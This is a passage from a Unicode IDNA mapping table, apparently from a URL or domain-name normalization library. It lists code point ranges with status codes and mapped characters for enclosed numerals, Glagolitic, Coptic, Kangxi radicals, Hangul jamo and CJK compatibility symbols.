,1,"〈"],[9002,1,"〉"],[[9003,9082],2],[9083,2],[9084,2],[[9085,9114],2],[[9115,9166],2],[[9167,9168],2],[[9169,9179],2],[[9180,9191],2],[9192,2],[[9193,9203],2],[[9204,9210],2],[[9211,9214],2],[9215,2],[[9216,9252],2],[[9253,9254],2],[[9255,9257],2],[[9258,9279],3],[[9280,9290],2],[[9291,9311],3],[9312,1,"1"],[9313,1,"2"],[9314,1,"3"],[9315,1,"4"],[9316,1,"5"],[9317,1,"6"],[9318,1,"7"],[9319,1,"8"],[9320,1,"9"],[9321,1,"10"],[9322,1,"11"],[9323,1,"12"],[9324,1,"13"],[9325,1,"14"],[9326,1,"15"],[9327,1,"16"],[9328,1,"17"],[9329,1,"18"],[9330,1,"19"],[9331,1,"20"],[9332,1,"(1)"],[9333,1,"(2)"],[9334,1,"(3)"],[9335,1,"(4)"],[9336,1,"(5)"],[9337,1,"(6)"],[9338,1,"(7)"],[9339,1,"(8)"],[9340,1,"(9)"],[9341,1,"(10)"],[9342,1,"(11)"],[9343,1,"(12)"],[9344,1,"(13)"],[9345,1,"(14)"],[9346,1,"(15)"],[9347,1,"(16)"],[9348,1,"(17)"],[9349,1,"(18)"],[9350,1,"(19)"],[9351,1,"(20)"],[[9352,9371],3],[9372,1,"(a)"],[9373,1,"(b)"],[9374,1,"(c)"],[9375,1,"(d)"],[9376,1,"(e)"],[9377,1,"(f)"],[9378,1,"(g)"],[9379,1,"(h)"],[9380,1,"(i)"],[9381,1,"(j)"],[9382,1,"(k)"],[9383,1,"(l)"],[9384,1,"(m)"],[9385,1,"(n)"],[9386,1,"(o)"],[9387,1,"(p)"],[9388,1,"(q)"],[9389,1,"(r)"],[9390,1,"(s)"],[9391,1,"(t)"],[9392,1,"(u)"],[9393,1,"(v)"],[9394,1,"(w)"],[9395,1,"(x)"],[9396,1,"(y)"],[9397,1,"(z)"],[9398,1,"a"],[9399,1,"b"],[9400,1,"c"],[9401,1,"d"],[9402,1,"e"],[9403,1,"f"],[9404,1,"g"],[9405,1,"h"],[9406,1,"i"],[9407,1,"j"],[9408,1,"k"],[9409,1,"l"],[9410,1,"m"],[9411,1,"n"],[9412,1,"o"],[9413,1,"p"],[9414,1,"q"],[9415,1,"r"],[9416,1,"s"],[9417,1,"t"],[9418,1,"u"],[9419,1,"v"],[9420,1,"w"],[9421,1,"x"],[9422,1,"y"],[9423,1,"z"],[9424,1,"a"],[9425,1,"b"],[9426,1,"c"],[9427,1,"d"],[9428,1,"e"],[9429,1,"f"],[9430,1,"g"],[9431,1,"h"],[9432,1,"i"],[9433,1,"j"],[9434,1,"k"],[9435,1,"l"],[9436,1,"m"],[9437,1,"n"],[9438,1,"o"],[9439,1,"p"],[9440,1,"q"],[9441,1,"r"],[9442,1,"s"],[9443,1,"t"],[9444,1,"u"],[9445,1,"v"],[9446,1,"w"],[9447,1,"x"],[9448,1,"y"],[9449,1,"z"],[9450,1,"0"],[[9451,9470],2],[9471,2],[[9472,9621],2],[[9622,9631],2],[[9632,9711],2],[[9712,9719],2],[[9720,9727],2],[[9728,9747],2],[[9748,9749],2],[[9750,9751],2],[9752,2],[9753,2],[[9754,9839],2],[[9840,9841],2],[[9842,9853],2],[[9854,9855],2],[[9856,9865],2],[[9866,9873],2],[[9874,9884],2],[9885,2],[[9886,9887],2],[[9888,9889],2],[[9890,9905],2],[9906,2],[[9907,9916],2],[[9917,9919],2],[[9920,9923],2],[[9924,9933],2],[9934,2],[[9935,9953],2],[9954,2],[9955,2],[[9956,9959],2],[[9960,9983],2],[9984,2],[[9985,9988],2],[9989,2],[[9990,9993],2],[[9994,9995],2],[[9996,10023],2],[10024,2],[[10025,10059],2],[10060,2],[10061,2],[10062,2],[[10063,10066],2],[[10067,10069],2],[10070,2],[10071,2],[[10072,10078],2],[[10079,10080],2],[[10081,10087],2],[[10088,10101],2],[[10102,10132],2],[[10133,10135],2],[[10136,10159],2],[10160,2],[[10161,10174],2],[10175,2],[[10176,10182],2],[[10183,10186],2],[10187,2],[10188,2],[10189,2],[[10190,10191],2],[[10192,10219],2],[[10220,10223],2],[[10224,10239],2],[[10240,10495],2],[[10496,10763],2],[10764,1,"∫∫∫∫"],[[10765,10867],2],[10868,1,"::="],[10869,1,"=="],[10870,1,"==="],[[10871,10971],2],[10972,1,"⫝̸"],[[10973,11007],2],[[11008,11021],2],[[11022,11027],2],[[11028,11034],2],[[11035,11039],2],[[11040,11043],2],[[11044,11084],2],[[11085,11087],2],[[11088,11092],2],[[11093,11097],2],[[11098,11123],2],[[11124,11125],3],[[11126,11157],2],[11158,3],[11159,2],[[11160,11193],2],[[11194,11196],2],[[11197,11208],2],[11209,2],[[11210,11217],2],[11218,2],[[11219,11243],2],[[11244,11247],2],[[11248,11262],2],[11263,2],[11264,1,"ⰰ"],[11265,1,"ⰱ"],[11266,1,"ⰲ"],[11267,1,"ⰳ"],[11268,1,"ⰴ"],[11269,1,"ⰵ"],[11270,1,"ⰶ"],[11271,1,"ⰷ"],[11272,1,"ⰸ"],[11273,1,"ⰹ"],[11274,1,"ⰺ"],[11275,1,"ⰻ"],[11276,1,"ⰼ"],[11277,1,"ⰽ"],[11278,1,"ⰾ"],[11279,1,"ⰿ"],[11280,1,"ⱀ"],[11281,1,"ⱁ"],[11282,1,"ⱂ"],[11283,1,"ⱃ"],[11284,1,"ⱄ"],[11285,1,"ⱅ"],[11286,1,"ⱆ"],[11287,1,"ⱇ"],[11288,1,"ⱈ"],[11289,1,"ⱉ"],[11290,1,"ⱊ"],[11291,1,"ⱋ"],[11292,1,"ⱌ"],[11293,1,"ⱍ"],[11294,1,"ⱎ"],[11295,1,"ⱏ"],[11296,1,"ⱐ"],[11297,1,"ⱑ"],[11298,1,"ⱒ"],[11299,1,"ⱓ"],[11300,1,"ⱔ"],[11301,1,"ⱕ"],[11302,1,"ⱖ"],[11303,1,"ⱗ"],[11304,1,"ⱘ"],[11305,1,"ⱙ"],[11306,1,"ⱚ"],[11307,1,"ⱛ"],[11308,1,"ⱜ"],[11309,1,"ⱝ"],[11310,1,"ⱞ"],[11311,1,"ⱟ"],[[11312,11358],2],[11359,2],[11360,1,"ⱡ"],[11361,2],[11362,1,"ɫ"],[11363,1,"ᵽ"],[11364,1,"ɽ"],[[11365,11366],2],[11367,1,"ⱨ"],[11368,2],[11369,1,"ⱪ"],[11370,2],[11371,1,"ⱬ"],[11372,2],[11373,1,"ɑ"],[11374,1,"ɱ"],[11375,1,"ɐ"],[11376,1,"ɒ"],[11377,2],[11378,1,"ⱳ"],[11379,2],[11380,2],[11381,1,"ⱶ"],[[11382,11383],2],[[11384,11387],2],[11388,1,"j"],[11389,1,"v"],[11390,1,"ȿ"],[11391,1,"ɀ"],[11392,1,"ⲁ"],[11393,2],[11394,1,"ⲃ"],[11395,2],[11396,1,"ⲅ"],[11397,2],[11398,1,"ⲇ"],[11399,2],[11400,1,"ⲉ"],[11401,2],[11402,1,"ⲋ"],[11403,2],[11404,1,"ⲍ"],[11405,2],[11406,1,"ⲏ"],[11407,2],[11408,1,"ⲑ"],[11409,2],[11410,1,"ⲓ"],[11411,2],[11412,1,"ⲕ"],[11413,2],[11414,1,"ⲗ"],[11415,2],[11416,1,"ⲙ"],[11417,2],[11418,1,"ⲛ"],[11419,2],[11420,1,"ⲝ"],[11421,2],[11422,1,"ⲟ"],[11423,2],[11424,1,"ⲡ"],[11425,2],[11426,1,"ⲣ"],[11427,2],[11428,1,"ⲥ"],[11429,2],[11430,1,"ⲧ"],[11431,2],[11432,1,"ⲩ"],[11433,2],[11434,1,"ⲫ"],[11435,2],[11436,1,"ⲭ"],[11437,2],[11438,1,"ⲯ"],[11439,2],[11440,1,"ⲱ"],[11441,2],[11442,1,"ⲳ"],[11443,2],[11444,1,"ⲵ"],[11445,2],[11446,1,"ⲷ"],[11447,2],[11448,1,"ⲹ"],[11449,2],[11450,1,"ⲻ"],[11451,2],[11452,1,"ⲽ"],[11453,2],[11454,1,"ⲿ"],[11455,2],[11456,1,"ⳁ"],[11457,2],[11458,1,"ⳃ"],[11459,2],[11460,1,"ⳅ"],[11461,2],[11462,1,"ⳇ"],[11463,2],[11464,1,"ⳉ"],[11465,2],[11466,1,"ⳋ"],[11467,2],[11468,1,"ⳍ"],[11469,2],[11470,1,"ⳏ"],[11471,2],[11472,1,"ⳑ"],[11473,2],[11474,1,"ⳓ"],[11475,2],[11476,1,"ⳕ"],[11477,2],[11478,1,"ⳗ"],[11479,2],[11480,1,"ⳙ"],[11481,2],[11482,1,"ⳛ"],[11483,2],[11484,1,"ⳝ"],[11485,2],[11486,1,"ⳟ"],[11487,2],[11488,1,"ⳡ"],[11489,2],[11490,1,"ⳣ"],[[11491,11492],2],[[11493,11498],2],[11499,1,"ⳬ"],[11500,2],[11501,1,"ⳮ"],[[11502,11505],2],[11506,1,"ⳳ"],[11507,2],[[11508,11512],3],[[11513,11519],2],[[11520,11557],2],[11558,3],[11559,2],[[11560,11564],3],[11565,2],[[11566,11567],3],[[11568,11621],2],[[11622,11623],2],[[11624,11630],3],[11631,1,"ⵡ"],[11632,2],[[11633,11646],3],[11647,2],[[11648,11670],2],[[11671,11679],3],[[11680,11686],2],[11687,3],[[11688,11694],2],[11695,3],[[11696,11702],2],[11703,3],[[11704,11710],2],[11711,3],[[11712,11718],2],[11719,3],[[11720,11726],2],[11727,3],[[11728,11734],2],[11735,3],[[11736,11742],2],[11743,3],[[11744,11775],2],[[11776,11799],2],[[11800,11803],2],[[11804,11805],2],[[11806,11822],2],[11823,2],[11824,2],[11825,2],[[11826,11835],2],[[11836,11842],2],[[11843,11844],2],[[11845,11849],2],[[11850,11854],2],[11855,2],[[11856,11858],2],[[11859,11869],2],[[11870,11903],3],[[11904,11929],2],[11930,3],[[11931,11934],2],[11935,1,"母"],[[11936,12018],2],[12019,1,"龟"],[[12020,12031],3],[12032,1,"一"],[12033,1,"丨"],[12034,1,"丶"],[12035,1,"丿"],[12036,1,"乙"],[12037,1,"亅"],[12038,1,"二"],[12039,1,"亠"],[12040,1,"人"],[12041,1,"儿"],[12042,1,"入"],[12043,1,"八"],[12044,1,"冂"],[12045,1,"冖"],[12046,1,"冫"],[12047,1,"几"],[12048,1,"凵"],[12049,1,"刀"],[12050,1,"力"],[12051,1,"勹"],[12052,1,"匕"],[12053,1,"匚"],[12054,1,"匸"],[12055,1,"十"],[12056,1,"卜"],[12057,1,"卩"],[12058,1,"厂"],[12059,1,"厶"],[12060,1,"又"],[12061,1,"口"],[12062,1,"囗"],[12063,1,"土"],[12064,1,"士"],[12065,1,"夂"],[12066,1,"夊"],[12067,1,"夕"],[12068,1,"大"],[12069,1,"女"],[12070,1,"子"],[12071,1,"宀"],[12072,1,"寸"],[12073,1,"小"],[12074,1,"尢"],[12075,1,"尸"],[12076,1,"屮"],[12077,1,"山"],[12078,1,"巛"],[12079,1,"工"],[12080,1,"己"],[12081,1,"巾"],[12082,1,"干"],[12083,1,"幺"],[12084,1,"广"],[12085,1,"廴"],[12086,1,"廾"],[12087,1,"弋"],[12088,1,"弓"],[12089,1,"彐"],[12090,1,"彡"],[12091,1,"彳"],[12092,1,"心"],[12093,1,"戈"],[12094,1,"戶"],[12095,1,"手"],[12096,1,"支"],[12097,1,"攴"],[12098,1,"文"],[12099,1,"斗"],[12100,1,"斤"],[12101,1,"方"],[12102,1,"无"],[12103,1,"日"],[12104,1,"曰"],[12105,1,"月"],[12106,1,"木"],[12107,1,"欠"],[12108,1,"止"],[12109,1,"歹"],[12110,1,"殳"],[12111,1,"毋"],[12112,1,"比"],[12113,1,"毛"],[12114,1,"氏"],[12115,1,"气"],[12116,1,"水"],[12117,1,"火"],[12118,1,"爪"],[12119,1,"父"],[12120,1,"爻"],[12121,1,"爿"],[12122,1,"片"],[12123,1,"牙"],[12124,1,"牛"],[12125,1,"犬"],[12126,1,"玄"],[12127,1,"玉"],[12128,1,"瓜"],[12129,1,"瓦"],[12130,1,"甘"],[12131,1,"生"],[12132,1,"用"],[12133,1,"田"],[12134,1,"疋"],[12135,1,"疒"],[12136,1,"癶"],[12137,1,"白"],[12138,1,"皮"],[12139,1,"皿"],[12140,1,"目"],[12141,1,"矛"],[12142,1,"矢"],[12143,1,"石"],[12144,1,"示"],[12145,1,"禸"],[12146,1,"禾"],[12147,1,"穴"],[12148,1,"立"],[12149,1,"竹"],[12150,1,"米"],[12151,1,"糸"],[12152,1,"缶"],[12153,1,"网"],[12154,1,"羊"],[12155,1,"羽"],[12156,1,"老"],[12157,1,"而"],[12158,1,"耒"],[12159,1,"耳"],[12160,1,"聿"],[12161,1,"肉"],[12162,1,"臣"],[12163,1,"自"],[12164,1,"至"],[12165,1,"臼"],[12166,1,"舌"],[12167,1,"舛"],[12168,1,"舟"],[12169,1,"艮"],[12170,1,"色"],[12171,1,"艸"],[12172,1,"虍"],[12173,1,"虫"],[12174,1,"血"],[12175,1,"行"],[12176,1,"衣"],[12177,1,"襾"],[12178,1,"見"],[12179,1,"角"],[12180,1,"言"],[12181,1,"谷"],[12182,1,"豆"],[12183,1,"豕"],[12184,1,"豸"],[12185,1,"貝"],[12186,1,"赤"],[12187,1,"走"],[12188,1,"足"],[12189,1,"身"],[12190,1,"車"],[12191,1,"辛"],[12192,1,"辰"],[12193,1,"辵"],[12194,1,"邑"],[12195,1,"酉"],[12196,1,"釆"],[12197,1,"里"],[12198,1,"金"],[12199,1,"長"],[12200,1,"門"],[12201,1,"阜"],[12202,1,"隶"],[12203,1,"隹"],[12204,1,"雨"],[12205,1,"靑"],[12206,1,"非"],[12207,1,"面"],[12208,1,"革"],[12209,1,"韋"],[12210,1,"韭"],[12211,1,"音"],[12212,1,"頁"],[12213,1,"風"],[12214,1,"飛"],[12215,1,"食"],[12216,1,"首"],[12217,1,"香"],[12218,1,"馬"],[12219,1,"骨"],[12220,1,"高"],[12221,1,"髟"],[12222,1,"鬥"],[12223,1,"鬯"],[12224,1,"鬲"],[12225,1,"鬼"],[12226,1,"魚"],[12227,1,"鳥"],[12228,1,"鹵"],[12229,1,"鹿"],[12230,1,"麥"],[12231,1,"麻"],[12232,1,"黃"],[12233,1,"黍"],[12234,1,"黑"],[12235,1,"黹"],[12236,1,"黽"],[12237,1,"鼎"],[12238,1,"鼓"],[12239,1,"鼠"],[12240,1,"鼻"],[12241,1,"齊"],[12242,1,"齒"],[12243,1,"龍"],[12244,1,"龜"],[12245,1,"龠"],[[12246,12271],3],[[12272,12283],3],[[12284,12287],3],[12288,1," "],[12289,2],[12290,1,"."],[[12291,12292],2],[[12293,12295],2],[[12296,12329],2],[[12330,12333],2],[[12334,12341],2],[12342,1,"〒"],[12343,2],[12344,1,"十"],[12345,1,"卄"],[12346,1,"卅"],[12347,2],[12348,2],[12349,2],[12350,2],[12351,2],[12352,3],[[12353,12436],2],[[12437,12438],2],[[12439,12440],3],[[12441,12442],2],[12443,1," ゙"],[12444,1," ゚"],[[12445,12446],2],[12447,1,"より"],[12448,2],[[12449,12542],2],[12543,1,"コト"],[[12544,12548],3],[[12549,12588],2],[12589,2],[12590,2],[12591,2],[12592,3],[12593,1,"ᄀ"],[12594,1,"ᄁ"],[12595,1,"ᆪ"],[12596,1,"ᄂ"],[12597,1,"ᆬ"],[12598,1,"ᆭ"],[12599,1,"ᄃ"],[12600,1,"ᄄ"],[12601,1,"ᄅ"],[12602,1,"ᆰ"],[12603,1,"ᆱ"],[12604,1,"ᆲ"],[12605,1,"ᆳ"],[12606,1,"ᆴ"],[12607,1,"ᆵ"],[12608,1,"ᄚ"],[12609,1,"ᄆ"],[12610,1,"ᄇ"],[12611,1,"ᄈ"],[12612,1,"ᄡ"],[12613,1,"ᄉ"],[12614,1,"ᄊ"],[12615,1,"ᄋ"],[12616,1,"ᄌ"],[12617,1,"ᄍ"],[12618,1,"ᄎ"],[12619,1,"ᄏ"],[12620,1,"ᄐ"],[12621,1,"ᄑ"],[12622,1,"ᄒ"],[12623,1,"ᅡ"],[12624,1,"ᅢ"],[12625,1,"ᅣ"],[12626,1,"ᅤ"],[12627,1,"ᅥ"],[12628,1,"ᅦ"],[12629,1,"ᅧ"],[12630,1,"ᅨ"],[12631,1,"ᅩ"],[12632,1,"ᅪ"],[12633,1,"ᅫ"],[12634,1,"ᅬ"],[12635,1,"ᅭ"],[12636,1,"ᅮ"],[12637,1,"ᅯ"],[12638,1,"ᅰ"],[12639,1,"ᅱ"],[12640,1,"ᅲ"],[12641,1,"ᅳ"],[12642,1,"ᅴ"],[12643,1,"ᅵ"],[12644,7],[12645,1,"ᄔ"],[12646,1,"ᄕ"],[12647,1,"ᇇ"],[12648,1,"ᇈ"],[12649,1,"ᇌ"],[12650,1,"ᇎ"],[12651,1,"ᇓ"],[12652,1,"ᇗ"],[12653,1,"ᇙ"],[12654,1,"ᄜ"],[12655,1,"ᇝ"],[12656,1,"ᇟ"],[12657,1,"ᄝ"],[12658,1,"ᄞ"],[12659,1,"ᄠ"],[12660,1,"ᄢ"],[12661,1,"ᄣ"],[12662,1,"ᄧ"],[12663,1,"ᄩ"],[12664,1,"ᄫ"],[12665,1,"ᄬ"],[12666,1,"ᄭ"],[12667,1,"ᄮ"],[12668,1,"ᄯ"],[12669,1,"ᄲ"],[12670,1,"ᄶ"],[12671,1,"ᅀ"],[12672,1,"ᅇ"],[12673,1,"ᅌ"],[12674,1,"ᇱ"],[12675,1,"ᇲ"],[12676,1,"ᅗ"],[12677,1,"ᅘ"],[12678,1,"ᅙ"],[12679,1,"ᆄ"],[12680,1,"ᆅ"],[12681,1,"ᆈ"],[12682,1,"ᆑ"],[12683,1,"ᆒ"],[12684,1,"ᆔ"],[12685,1,"ᆞ"],[12686,1,"ᆡ"],[12687,3],[[12688,12689],2],[12690,1,"一"],[12691,1,"二"],[12692,1,"三"],[12693,1,"四"],[12694,1,"上"],[12695,1,"中"],[12696,1,"下"],[12697,1,"甲"],[12698,1,"乙"],[12699,1,"丙"],[12700,1,"丁"],[12701,1,"天"],[12702,1,"地"],[12703,1,"人"],[[12704,12727],2],[[12728,12730],2],[[12731,12735],2],[[12736,12751],2],[[12752,12771],2],[[12772,12773],2],[[12774,12782],3],[12783,3],[[12784,12799],2],[12800,1,"(ᄀ)"],[12801,1,"(ᄂ)"],[12802,1,"(ᄃ)"],[12803,1,"(ᄅ)"],[12804,1,"(ᄆ)"],[12805,1,"(ᄇ)"],[12806,1,"(ᄉ)"],[12807,1,"(ᄋ)"],[12808,1,"(ᄌ)"],[12809,1,"(ᄎ)"],[12810,1,"(ᄏ)"],[12811,1,"(ᄐ)"],[12812,1,"(ᄑ)"],[12813,1,"(ᄒ)"],[12814,1,"(가)"],[12815,1,"(나)"],[12816,1,"(다)"],[12817,1,"(라)"],[12818,1,"(마)"],[12819,1,"(바)"],[12820,1,"(사)"],[12821,1,"(아)"],[12822,1,"(자)"],[12823,1,"(차)"],[12824,1,"(카)"],[12825,1,"(타)"],[12826,1,"(파)"],[12827,1,"(하)"],[12828,1,"(주)"],[12829,1,"(오전)"],[12830,1,"(오후)"],[12831,3],[12832,1,"(一)"],[12833,1,"(二)"],[12834,1,"(三)"],[12835,1,"(四)"],[12836,1,"(五)"],[12837,1,"(六)"],[12838,1,"(七)"],[12839,1,"(八)"],[12840,1,"(九)"],[12841,1,"(十)"],[12842,1,"(月)"],[12843,1,"(火)"],[12844,1,"(水)"],[12845,1,"(木)"],[12846,1,"(金)"],[12847,1,"(土)"],[12848,1,"(日)"],[12849,1,"(株)"],[12850,1,"(有)"],[12851,1,"(社)"],[12852,1,"(名)"],[12853,1,"(特)"],[12854,1,"(財)"],[12855,1,"(祝)"],[12856,1,"(労)"],[12857,1,"(代)"],[12858,1,"(呼)"],[12859,1,"(学)"],[12860,1,"(監)"],[12861,1,"(企)"],[12862,1,"(資)"],[12863,1,"(協)"],[12864,1,"(祭)"],[12865,1,"(休)"],[12866,1,"(自)"],[12867,1,"(至)"],[12868,1,"問"],[12869,1,"幼"],[12870,1,"文"],[12871,1,"箏"],[[12872,12879],2],[12880,1,"pte"],[12881,1,"21"],[12882,1,"22"],[12883,1,"23"],[12884,1,"24"],[12885,1,"25"],[12886,1,"26"],[12887,1,"27"],[12888,1,"28"],[12889,1,"29"],[12890,1,"30"],[12891,1,"31"],[12892,1,"32"],[12893,1,"33"],[12894,1,"34"],[12895,1,"35"],[12896,1,"ᄀ"],[12897,1,"ᄂ"],[12898,1,"ᄃ"],[12899,1,"ᄅ"],[12900,1,"ᄆ"],[12901,1,"ᄇ"],[12902,1,"ᄉ"],[12903,1,"ᄋ"],[12904,1,"ᄌ"],[12905,1,"ᄎ"],[12906,1,"ᄏ"],[12907,1,"ᄐ"],[12908,1,"ᄑ"],[12909,1,"ᄒ"],[12910,1,"가"],[12911,1,"나"],[12912,1,"다"],[12913,1,"라"],[12914,1,"마"],[12915,1,"바"],[12916,1,"사"],[12917,1,"아"],[12918,1,"자"],[12919,1,"차"],[12920,1,"카"],[12921,1,"타"],[12922,1,"파"],[12923,1,"하"],[12924,1,"참고"],[12925,1,"주의"],[12926,1,"우"],[12927,2],[12928,1,"一"],[12929,1,"二"],[12930,1,"三"],[12931,1,"四"],[12932,1,"五"],[12933,1,"六"],[12934,1,"七"],[12935,1,"八"],[12936,1,"九"],[12937,1,"十"],[12938,1,"月"],[12939,1,"火"],[12940,1,"水"],[12941,1,"木"],[12942,1,"金"],[12943,1,"土"],[12944,1,"日"],[12945,1,"株"],[12946,1,"有"],[12947,1,"社"],[12948,1,"名"],[12949,1,"特"],[12950,1,"財"],[12951,1,"祝"],[12952,1,"労"],[12953,1,"秘"],[12954,1,"男"],[12955,1,"女"],[12956,1,"適"],[12957,1,"優"],[12958,1,"印"],[12959,1,"注"],[12960,1,"項"],[12961,1,"休"],[12962,1,"写"],[12963,1,"正"],[12964,1,"上"],[12965,1,"中"],[12966,1,"下"],[12967,1,"左"],[12968,1,"右"],[12969,1,"医"],[12970,1,"宗"],[12971,1,"学"],[12972,1,"監"],[12973,1,"企"],[12974,1,"資"],[12975,1,"協"],[12976,1,"夜"],[12977,1,"36"],[12978,1,"37"],[12979,1,"38"],[12980,1,"39"],[12981,1,"40"],[12982,1,"41"],[12983,1,"42"],[12984,1,"43"],[12985,1,"44"],[12986,1,"45"],[12987,1,"46"],[12988,1,"47"],[12989,1,"48"],[12990,1,"49"],[12991,1,"50"],[12992,1,"1月"],[12993,1,"2月"],[12994,1,"3月"],[12995,1,"4月"],[12996,1,"5月"],[12997,1,"6月"],[12998,1,"7月"],[12999,1,"8月"],[13000,1,"9月"],[13001,1,"10月"],[13002,1,"11月"],[13003,1,"12月"],[13004,1,"hg"],[13005,1,"erg"],[13006,1,"ev"],[13007,1,"ltd"],[13008,1,"ア"],[13009,1,"イ"],[13010,1,"ウ"],[13011,1,"エ"],[13012,1,"オ"],[13013,1,"カ"],[13014,1,"キ"],[13015,1,"ク"],[13016,1,"ケ"],[13017,1,"コ"],[13018,1,"サ"],[13019,1,"シ"],[13020,1,"ス"],[13021,1,"セ"],[13022,1,"ソ"],[13023,1,"タ"],[13024,1,"チ"],[13025,1,"ツ"],[13026,1,"テ"],[13027,1,"ト"],[13028,1,"ナ"],[13029,1,"ニ"],[13030,1,"ヌ"],[13031,1,"ネ"],[13032,1,"ノ"],[13033,1,"ハ"],[13034,1,"ヒ"],[13035,1,"フ"],[13036,1,"ヘ"],[13037,1,"ホ"],[13038,1,"マ"],[13039,1,"ミ"],[13040,1,"ム"],[13041,1,"メ"],[13042,1,"モ"],[13043,1,"ヤ"],[13044,1,"ユ"],[13045,1,"ヨ"],[13046,1,"ラ"],[13047,1,"リ"],[13048,1,"ル"],[13049,1,"レ"],[13050,1,"ロ"],[13051,1,"ワ"],[13052,1,"ヰ"],[13053,1,"ヱ"],[13054,1,"ヲ"],[13055,1,"令和"],[13056,1,"アパート"],[13057,1,"アルファ"],[13058,1,"アンペア"],[13059,1,"アール"],[13060,1,"イニング"],[13061,1,"インチ"],[13062,1,"ウォン"],[13063,1,"エスクード"],[13064,1,"エーカー"],[13065,1,"オンス"],[13066,1,"オーム"],[13067,1,"カイリ"],[13068,1,"カラット"],[13069,1,"カロリー"],[13070,1,"ガロン"],[13071,1,"ガンマ"],[13072,1,"ギガ"],[13073,1,"ギニー"],[13074,1,"キュリー"],[13075,1,"ギルダー"],[13076,1,"キロ"],[13077,1,"キログラム"],[13078,1,"キロメートル"],[13079,1,"キロワット"],[13080,1,"グラム"],[13081,1,"グラムトン"],[13082,1,"クルゼイロ"],[13083,1,"クローネ"],[13084,1,"ケース"],[13085,1,"コルナ"],[13086,1,"コーポ"],[13087,1,"サイクル"],[13088,1,"サンチーム"],[13089,1,"シリング"],[13090,1,"センチ"],[13091,1,"セント"],[13092,1,"ダース"],[13093,1,"デシ"],[13094,1,"ドル"],[13095,1,"トン"],[13096,1,"ナノ"],[13097,1,"ノット"],[13098,1,"ハイツ"],[13099,1,"パーセント"],[13100,1,"パーツ"],[13101,1,"バーレル"],[13102,1,"ピアストル"],[13103,1,"ピクル"],[13104,1,"ピコ"],[13105,1,"ビル"],[13106,1,"ファラッド"],[13107,1,"フィート"],[13108,1,"ブッシェル"],[13109,1,"フラン"],[13110,1,"ヘクタール"],[13111,1,"ペソ"],[13112,1,"ペニヒ"],[13113,1,"ヘルツ"],[13114,1,"ペンス"],[13115,1,"ページ"],[13116,1,"ベータ"],[13117,1,"ポイント"],[13118,1,"ボルト"],[13119,1,"ホン"],[13120,1,"ポンド"],[13121,1,"ホール"],[13122,1,"ホーン"],[13123,1,"マイクロ"],[13124,1,"マイル"],[13125,1,"マッハ"],[13126,1,"マルク"],[13127,1,"マンション"],[13128,1,"ミクロン"],[13129,1,"ミリ"],[13130,1,"ミリバール"],[13131,1,"メガ"],[13132,1,"メガトン"],[13133,1,"メートル"],[13134,1,"ヤード"],[13135,1,"ヤール"],[13136,1,"ユアン"],[13137,1,"リットル"],[13138,1,"リラ"],[13139,1,"ルピー"],[13140,1,"ルーブル"],[13141,1,"レム"],[13142,1,"レントゲン"],[13143,1,"ワット"],[13144,1,"0点"],[13145,1,"1点"],[13146,1,"2点"],[13147,1,"3点"],[13148,1,"4点"],[13149,1,"5点"],[13150,1,"6点"],[13151,1,"7点"],[13152,1,"8点"],[13153,1,"9点"],[13154,1,"10点"],[13155,1,"11点"],[13156,1,"12点"],[13157,1,"13点"],[13158,1,"14点"],[13159,1,"15点"],[13160,1,"16点"],[13161,1,"17点"],[13162,1,"18点"],[13163,1,"19点"],[13164,1,"20点"],[13165,1,"21点"],[13166,1,"22点"],[13167,1,"23点"],[13168,1,"24点"],[13169,1,"hpa"],[13170,1,"da"],[13171,1,"au"],[13172,1,"bar"],[13173,1,"ov"],[13174,1,"pc"],[13175,1,"dm"],[13176,1,"dm2"],[13177,1,"dm3"],[13178,1,"iu"],[13179,1,"平成"],[13180,1,"昭和"],[13181,1,"大正"],[13182,1,"明治"],[13183,1,"株式会社"],[13184,1,"pa"],[13185,1,"na"],[13186,1,"μa"],[13187,1,"ma"],[13188,1,"ka"],[13189,1,"kb"],[13190,1,"mb"],[13191,1,"gb"],[13192,1,"cal"],[13193,1,"kcal"],[13194,1,"pf"],[13195,1,"nf"],[13196,1,"μf"],[13197,1,"μg"],[13198,1,"mg"],[13199,1,"kg"],[13200,1,"hz"],[13201,1,"khz"],[13202,1,"mhz"],[13203,1,"ghz"],[13204,1,"thz"],[13205,1,"μl"],[13206,1,"ml"],[13207,1,"dl"],[13208,1,"kl"],[13209,1,"fm"],[13210,1,"nm"],[13211,1,"μm"],[13212,1,"mm"],[13213,1,"cm"],[13214,1,"km"],[13215,1,"mm2"],[13216,1,"cm2"],[13217,1,"m2"],[13218,1,"km2"],[13219,1,"mm3"],[13220,1,"cm3"],[13221,1,"m3"],[13222,1,"km3"],[13223,1,"m∕s"],[13224,1,"m∕s2"],[13225,1,"pa"],[13226,1,"kpa"],[13227,1,"mpa"],[13228,1,"gpa"],[13229,1,"rad"],[13230,1,"rad∕s"],[13231,1,"rad∕s2"],[13232,1,"ps"],[13233,1,"ns"],[13234,1,"μs"],[13235,1,"ms"],[13236,1,"pv"],[13237,1,"nv"],[13238,1,"μv"],[13239,1,"mv"],[13240,1,"kv"],[13241,1,"mv"],[13242,1,"pw"],[13243,1,"nw"],[13244,1,"μw"],[13245,1,"mw"],[13246,1,"kw"],[13247,1,"mw"],[13248,1,"kω"],[13249,1,"mω"],[13250,3],[13251,1,"bq"],[13252,1,"cc"],[13253,1,"cd"],[13254,1,"c∕kg"],[13255,3],[13256,1,"db"],[13257,1,"gy"],[13258,1,"ha"],[13259,1,"hp"],[13260,1,"in"],[13261,1,"kk"],[13262,1,"km"],[13263,1,"kt"],[13264,1,"lm"],[13265,1,"ln"],[13266,1,"log"],[13267,1,"lx"],[13268,1,"mb"],[13269,1,"mil"],[13270,1,"mol"],[13271,1,"ph"],[13272,3],[13273,1,"ppm"],[13274,1,"pr"],[13275,1,"sr"],[13276,1,"sv"],[13277,1,"wb"],[13278,1,"v∕m"],[13279,1,"a∕m"],[13280,1,"1日"],[13281,1,"2日"],[13282,1,"3日"],[13283,1,"4日"],[13284,1,"5日"],[13285,1,"6日"],[13286,1,"7日"],[13287,1,"8日"],[13288,1,"9日"],[13289,1,"10日"],[13290,1,"11日"],[13291,1,"12日"],[13292,1,"13日"],[13293,1,"14日"],[13294,1,"15日"],[13295,1,"16日"],[13296,1,"17日"],[13297,1,"18日"],[13298,1,"19日"],[13299,1,"20日"],[13300,1,"21日"],[13301,1,"22日"],[13302,1,"23日"],[13303,1,"24日"],[13304,1,"25日"],[13305,1,"26日"],[13306,1,"27日"],[13307,1,"28日"],[13308,1,"29日"],[13309,1,"30日"],[13310,1,"31日"],[13311,1,"gal"],[[13312,1989